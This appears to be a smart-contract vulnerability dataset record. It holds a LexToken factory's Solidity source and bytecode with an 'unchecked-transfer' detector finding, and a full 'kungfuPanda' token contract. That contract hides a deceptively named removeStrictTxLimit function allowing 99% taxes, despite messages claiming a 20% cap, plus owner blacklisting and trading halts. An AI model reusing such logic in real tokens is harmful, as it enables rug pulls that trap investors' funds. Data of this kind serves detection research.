// eip-2612 permit() pattern:
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
function _approve(address owner, address spender, uint256 value) internal {
allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function approve(address spender, uint256 value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function _burn(address from, uint256 value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function burn(uint256 value) external {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) external {
_approve(from, msg.sender, allowances[from][msg.sender].sub(value));
_burn(from, value);
}
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
_approve(msg.sender, spender, allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(msg.sender, spender, allowances[msg.sender][spender].add(addedValue));
return true;
}
// Adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol
function permit(address owner, address spender, uint256 deadline, uint256 value, uint8 v, bytes32 r, bytes32 s) external {
require(block.timestamp <= deadline, "expired");
bytes32 hashStruct = keccak256(abi.encode(
PERMIT_TYPEHASH,
owner,
spender,
value,
nonces[owner]++,
deadline));
bytes32 hash = keccak256(abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
require(signer != address(0) && signer == owner, "!signer");
_approve(owner, spender, value);
}
receive() external payable { // SALE
require(forSale, "!forSale");
(bool success, ) = manager.call{value: msg.value}("");
require(success, "!ethCall");
_transfer(address(this), msg.sender, msg.value.mul(saleRate));
}
function redeem(uint256 value, string calldata redemption) external { // burn lexToken with redemption message
_burn(msg.sender, value);
emit Redeem(redemption);
}
function _transfer(address from, address to, uint256 value) internal {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function transfer(address to, uint256 value) external returns (bool) {
require(transferable, "!transferable");
_transfer(msg.sender, to, value);
return true;
}
function transferBatch(address[] calldata to, uint256[] calldata value) external {
require(to.length == value.length, "!to/value");
require(transferable, "!transferable");
for (uint256 i = 0; i < to.length; i++) {
_transfer(msg.sender, to[i], value[i]);
}
}
function transferFrom(address from, address to, uint256 value) external returns (bool) {
require(transferable, "!transferable");
_approve(from, msg.sender, allowances[from][msg.sender].sub(value));
_transfer(from, to, value);
return true;
}
/****************
MANAGER FUNCTIONS
****************/
modifier onlyManager {
require(msg.sender == manager, "!manager");
_;
}
function addOffer(string calldata offer) external onlyManager {
offers.push(offer);
emit AddOffer(offers.length, offer);
}
function amendOffer(uint256 index, string calldata offer) external onlyManager {
offers[index] = offer;
emit AmendOffer(index, offer);
}
function _mint(address to, uint256 value) internal {
require(totalSupply.add(value) <= totalSupplyCap, "capped");
balanceOf[to] = balanceOf[to].add(value);
totalSupply = totalSupply.add(value);
emit Transfer(address(0), to, value);
}
function mint(address to, uint256 value) external onlyManager {
_mint(to, value);
}
function mintBatch(address[] calldata to, uint256[] calldata value) external onlyManager {
require(to.length == value.length, "!to/value");
for (uint256 i = 0; i < to.length; i++) {
_mint(to[i], value[i]);
}
}
function updateGovernance(address payable _manager, string calldata _details) external onlyManager {
manager = _manager;
details = _details;
emit UpdateGovernance(_manager, _details);
}
function updateSale(uint256 _saleRate, uint256 _saleSupply, bool _burnToken, bool _forSale) external onlyManager {
saleRate = _saleRate;
forSale = _forSale;
if (_saleSupply > 0 && _burnToken) {_burn(address(this), _saleSupply);}
if (_saleSupply > 0 && !_burnToken) {_mint(address(this), _saleSupply);}
if (_forSale) {require(_saleRate > 0, "_saleRate = 0");}
emit UpdateSale(_saleRate, _saleSupply, _burnToken, _forSale);
}
function updateTransferability(bool _transferable) external onlyManager {
transferable = _transferable;
emit UpdateTransferability(_transferable);
}
function withdrawToken(address[] calldata token, address[] calldata withdrawTo, uint256[] calldata value, bool max) external onlyManager { // withdraw token sent to lextoken contract
require(token.length == withdrawTo.length && token.length == value.length, "!token/withdrawTo/value");
for (uint256 i = 0; i < token.length; i++) {
uint256 withdrawalValue = value[i];
if (max) {withdrawalValue = IERC20(token[i]).balanceOf(address(this));}
IERC20(token[i]).transfer(withdrawTo[i], withdrawalValue);
}
}
}
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
contract CloneFactory {
function createClone(address payable target) internal returns (address payable result) { // eip-1167 proxy pattern adapted for payable lexToken
bytes20 targetBytes = bytes20(target);
assembly {
let clone := mload(0x40)
mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(clone, 0x14), targetBytes)
mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
result := create(0, clone, 0x37)
}
}
}
contract LexTokenFactory is CloneFactory {
address payable public lexDAO; // account managing lexToken factory
address public lexDAOtoken; // token for user rewards
address payable immutable public template; // fixed template for lexToken using eip-1167 proxy pattern
uint256 public userReward; // reward amount granted to lexToken users
string public details; // general details re: lexToken factory
string[]public marketTerms; // market terms stamped by lexDAO for lexToken issuance
mapping(address => address[]) public lextoken;
event AddMarketTerms(uint256 index, string terms);
event AmendMarketTerms(uint256 index, string terms);
event LaunchLexToken(address indexed lexToken, address indexed manager, uint256 saleRate, bool forSale);
event UpdateGovernance(address indexed lexDAO, address indexed lexDAOtoken, uint256 userReward, string details);
constructor(address payable _lexDAO, address _lexDAOtoken, address payable _template, uint256 _userReward, string memory _details) {
lexDAO = _lexDAO;
lexDAOtoken = _lexDAOtoken;
template = _template;
userReward = _userReward;
details = _details;
}
function launchLexToken(
address payable _manager,
uint8 _decimals,
uint256 _managerSupply,
uint256 _saleRate,
uint256 _saleSupply,
uint256 _totalSupplyCap,
string memory _details,
string memory _name,
string memory _symbol,
bool _forSale,
bool _transferable
) external payable returns (address) {
LexToken lex = LexToken(createClone(template));
lex.init(
_manager,
_decimals,
_managerSupply,
_saleRate,
_saleSupply,
_totalSupplyCap,
_details,
_name,
_symbol,
_forSale,
_transferable);
lextoken[_manager].push(address(lex)); // push initial manager to array
if (msg.value > 0) {(bool success, ) = lexDAO.call{value: msg.value}("");
require(success, "!ethCall");} // transfer ETH to lexDAO
if (userReward > 0) {IERC20(lexDAOtoken).transfer(msg.sender, userReward);} // grant user reward
emit LaunchLexToken(address(lex), _manager, _saleRate, _forSale);
return(address(lex));
}
function getLexTokenCountPerAccount(address account) external view returns (uint256) {
return lextoken[account].length;
}
function getLexTokenPerAccount(address account) external view returns (address[] memory) {
return lextoken[account];
}
function getMarketTermsCount() external view returns (uint256) {
return marketTerms.length;
}
/***************
LEXDAO FUNCTIONS
***************/
modifier onlyLexDAO {
require(msg.sender == lexDAO, "!lexDAO");
_;
}
function addMarketTerms(string calldata terms) external onlyLexDAO {
marketTerms.push(terms);
emit AddMarketTerms(marketTerms.length, terms);
}
function amendMarketTerms(uint256 index, string calldata terms) external onlyLexDAO {
marketTerms[index] = terms;
emit AmendMarketTerms(index, terms);
}
function updateGovernance(address payable _lexDAO, address _lexDAOtoken, uint256 _userReward, string calldata _details) external onlyLexDAO {
lexDAO = _lexDAO;
lexDAOtoken = _lexDAOtoken;
userReward = _userReward;
details = _details;
emit UpdateGovernance(_lexDAO, _lexDAOtoken, _userReward, _details);
}
}
|
0x6080604052600436106100dd5760003560e01c8063858d6aa41161007f578063a994ee2d11610059578063a994ee2d146105dd578063b6d712fb146105f2578063d7a57ce514610607578063e5a6c28f14610689576100dd565b8063858d6aa41461047a5780638976263d146104fd578063a6d5752614610598576100dd565b80635d22b72c116100bb5780635d22b72c146101c75780635f14f772146103af5780636f2ddd93146103e857806371190e4b146103fd576100dd565b80630c2ecfb6146100e25780634f411f7b14610181578063565974d3146101b2575b600080fd5b3480156100ee57600080fd5b5061010c6004803603602081101561010557600080fd5b503561069e565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014657818101518382015260200161012e565b50505050905090810190601f1680156101735780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018d57600080fd5b50610196610747565b604080516001600160a01b039092168252519081900360200190f35b3480156101be57600080fd5b5061010c610756565b61019660048036036101608110156101de57600080fd5b6001600160a01b038235169160ff6020820135169160408201359160608101359160808201359160a08101359181019060e0810160c0820135600160201b81111561022857600080fd5b82018360208201111561023a57600080fd5b803590602001918460018302840111600160201b8311171561025b57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156102ad57600080fd5b8201836020820111156102bf57600080fd5b803590602001918460018302840111600160201b831117156102e057600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561033257600080fd5b82018360208201111561034457600080fd5b803590602001918460018302840111600160201b8311171561036557600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505050508035151591506020013515156107b1565b3480156103bb57600080fd5b50610196600480360360408110156103d257600080fd5b506001600160a01b038135169060200135610b87565b3480156103f457600080fd5b50610196610bbf565b34801561040957600080fd5b506104786004803603602081101561042057600080fd5b810190602081018135600160201b81111561043a57600080fd5b82018360208201111561044c57600080fd5b803590602001918460018302840111600160201b8311171561046d57600080fd5b509092509050610be3565b005b34801561048657600080fd5b506104ad6004803603602081101561049d57600080fd5b50356001600160a01b0316610cd8565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156104e95781810151838201526020016104d1565b505050509050019250505060405180910390f35b34801561050957600080fd5b506104786004803603608081101561052057600080fd5b6001600160a01b03823581169260208101359091169160408201359190810190608081016060820135600160201b81111561055a57600080fd5b82018360208201111561056c57600080fd5b803590602001918460018302840111600160201b8311171561058d57600080fd5b509092509050610d4e565b3480156105a457600080fd5b506105cb600480360360208110156105bb57600080fd5b50356001600160a01b0316610e5c565b60408051918252519081900360200190f35b3480156105e957600080fd5b50610196610e77565b3480156105fe57600080fd5b506105cb610e86565b34801561061357600080fd5b506104786004803603604081101561062a57600080fd5b81359190810190604081016020820135600160201b81111561064b57600080fd5b82018360208201111561065d57600080fd5b803590602001918460018302840111600160201b8311171561067e57600080fd5b509092509050610e8c565b34801561069557600080fd5b506105cb610f69565b600481815481106106ae57600080fd5b600091825260209182902001805460408051601f600260001961010060018716150201909416939093049283018590048502810185019091528181529350909183018282801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b505050505081565b6000546001600160a01b031681565b6003805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561073f5780601f106107145761010080835404028352916020019161073f565b6000806107dd7f000000000000000000000000bfca2bc8f650a2dce8f1f5687e170f0d8bcaa652610f6f565b9050806001600160a01b0316637a0c21ee8e8e8e8e8e8e8e8e8e8e8e6040518c63ffffffff1660e01b8152600401808c6001600160a01b031681526020018b60ff1681526020018a815260200189815260200188815260200187815260200180602001806020018060200186151581526020018515158152602001848103845289818151815260200191508051906020019080838360005b8381101561088d578181015183820152602001610875565b50505050905090810190601f1680156108ba5780820380516001836020036101000a031916815260200191505b5084810383528851815288516020918201918a019080838360005b838110156108ed5781810151838201526020016108d5565b50505050905090810190601f16801561091a5780820380516001836020036101000a031916815260200191505b50848103825287518152875160209182019189019080838360005b8381101561094d578181015183820152602001610935565b50505050905090810190601f16801561097a5780820380516001836020036101000a031916815260200191505b509e505050505050505050505050505050600060405180830381600087803b1580156109a557600080fd5b505af11580156109b9573d6000803e3d6000fd5b505050506001600160a01b038d811660009081526005602090815260408220805460018101825590835291200180546001600160a01b0319169183169190911790553415610a9657600080546040516001600160a01b039091169034908381818185875af1925050503d8060008114610a4e576040519150601f19603f3d011682016040523d82523d6000602084013e610a53565b606091505b5050905080610a94576040805162461bcd60e51b815260206004820152600860248201526708595d1a10d85b1b60c21b604482015290519081900360640190fd5b505b60025415610b22576001546002546040805163a9059cbb60e01b81523360048201526024810192909252516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b158015610af557600080fd5b505af1158015610b09573d6000803e3d6000fd5b505050506040513d6020811015610b1f57600080fd5b50505b8c6001600160a01b0316816001600160a01b03167f176531a4d8afdce919b7d31d8cfd2b6d7a2787ef70e6fc44d338bce7a6a080e68c876040518083815260200182151581526020019250505060405180910390a39c9b505050505050505050505050565b60056020528160005260406000208181548110610ba357600080fd5b6000918252602090912001546001600160a01b03169150829050565b7f000000000000000000000000bfca2bc8f650a2dce8f1f5687e170f0d8bcaa65281565b6000546001600160a01b03163314610c2c576040805162461bcd60e51b8152602060048201526007602482015266216c657844414f60c81b604482015290519081900360640190fd5b60048054600181018255600091909152610c69907f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b018383610fc1565b5060045460408051828152602081018281529181018490527fcb08c4eb330ef67578d7cb86131f93d0de8d3dbd965167f9a31d3beedc97392192918591859160608201848480828437600083820152604051601f909101601f1916909201829003965090945050505050a15050565b6001600160a01b038116600090815260056020908152604091829020805483518184028101840190945280845260609392830182828015610d4257602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610d24575b50505050509050919050565b6000546001600160a01b03163314610d97576040805162461bcd60e51b8152602060048201526007602482015266216c657844414f60c81b604482015290519081900360640190fd5b600080546001600160a01b038088166001600160a01b03199283161790925560018054928716929091169190911790556002839055610dd860038383610fc1565b50836001600160a01b0316856001600160a01b03167fc16022c45ae27eef14066d63387483d5bb50365e714b01775bf4769d05470a5985858560405180848152602001806020018281038252848482818152602001925080828437600083820152604051601f909101601f1916909201829003965090945050505050a35050505050565b6001600160a01b031660009081526005602052604090205490565b6001546001600160a01b031681565b60045490565b6000546001600160a01b03163314610ed5576040805162461bcd60e51b8152602060048201526007602482015266216c657844414f60c81b604482015290519081900360640190fd5b818160048581548110610ee457fe5b906000526020600020019190610efb929190610fc1565b507f63eeabb7a8f9739511c604ee8c971ebbc179c3eafeadc687574c1d5afd8699f783838360405180848152602001806020018281038252848482818152602001925080828437600083820152604051601f909101601f1916909201829003965090945050505050a1505050565b60025481565b6000808260601b9050604051733d602d80600a3d3981f3363d3d373d3d3d363d7360601b81528160148201526e5af43d82803e903d91602b57fd5bf360881b60288201526037816000f0949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282610ff7576000855561103d565b82601f106110105782800160ff1982351617855561103d565b8280016001018555821561103d579182015b8281111561103d578235825591602001919060010190611022565b5061104992915061104d565b5090565b5b80821115611049576000815560010161104e56fea2646970667358221220d2be80b7ae8a3acc471b162bdf6326a29b401d31a3fafd1136eb2db1b24ab65264736f6c63430007040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 9,182 |
0xd0af2f8f1ece2599e9a03b5e7b432f0db9fd65d0
|
/**
Telegram:t.me/kungfuPandaofficial
Website:kungfupandaeth.com/
twitter:twitter.com/kungfuPandaerc
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract kungfuPanda is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "KUNGFUPANDA";
string private constant _symbol = "KUNGFUPANDA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 4;
uint256 private _taxFeeOnBuy = 6;
uint256 private _redisFeeOnSell = 4;
uint256 private _taxFeeOnSell = 8;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x4e3CE82Fd4d7FcDaB6d27463A901B0fFb50B40D5);
address payable private _marketingAddress = payable(0x7F70a03cAe5939ce7D921A7BBFd90356A4205278);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 100000000 * 10**9;
uint256 public _maxWalletSize = 200000000 * 10**9;
uint256 public _swapTokensAtAmount = 100000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function removeStrictTxLimit(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 99, "Buy tax must be between 0% and 20%");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 99, "Sell tax must be between 0% and 20%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 5000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
